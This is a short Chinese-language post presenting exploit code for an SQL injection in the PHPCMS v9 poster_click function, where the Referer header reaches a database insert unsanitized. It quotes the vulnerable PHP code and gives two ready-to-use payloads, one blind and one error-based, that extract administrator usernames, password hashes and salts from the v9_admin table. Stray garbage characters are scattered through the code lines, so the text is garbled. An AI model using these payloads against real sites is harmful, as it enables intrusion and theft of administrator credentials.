phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

$ D! c7 e2 G; c  Y/ J6 Y- {! c% o问题函数\phpcms\modules\poster\index.php

public function poster_click() {
7 E5 r1 z  S% i1 `3 |$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
* A. `+ X( k# V% m+ y. q) T/ k7 ?$ip_area = pc_base::load_sys_class('ip_area');
' y; B: E( @+ c- L2 u$ip = ip();
$area = $ip_area->get($ip);
7 i  _: n# [8 R) ^$username = param::get_cookie('username') ? param::get_cookie('username') : '';
  c: U: O  A) @& Q  }if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
% r& E0 Z& [' V; f* w; h/ }, w$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
" H6 G, E6 l" F- r$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
  V) V8 t' ~5 p$url = $setting['1']['linkurl'];
' ~. k  w0 l; s7 J) ]6 }} else {
4 R2 K2 [. \9 A$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
% a" x7 R0 n' _8 @9 q) Y! ^}
header('Location: '.$url);
}

+ o. t* V; _' A

6 P) b3 P! C& p' v/ T- K6 I利用方式：
! f! N! j2 r  q& s
1、可以采用盲注入的手法：
; P, j9 I! x1 {: \2 e0 A" d
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
( e) T; L& w3 \, z* b) u
' z5 b( n" ]9 I8 i2、代码是花开写的，随手附上了：

5 |. ^% u3 e7 P$ b% o" s" L8 G1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

+ v; f1 M) K( w1 o% U. d- B此方法是爆错注入手法，原理自查。
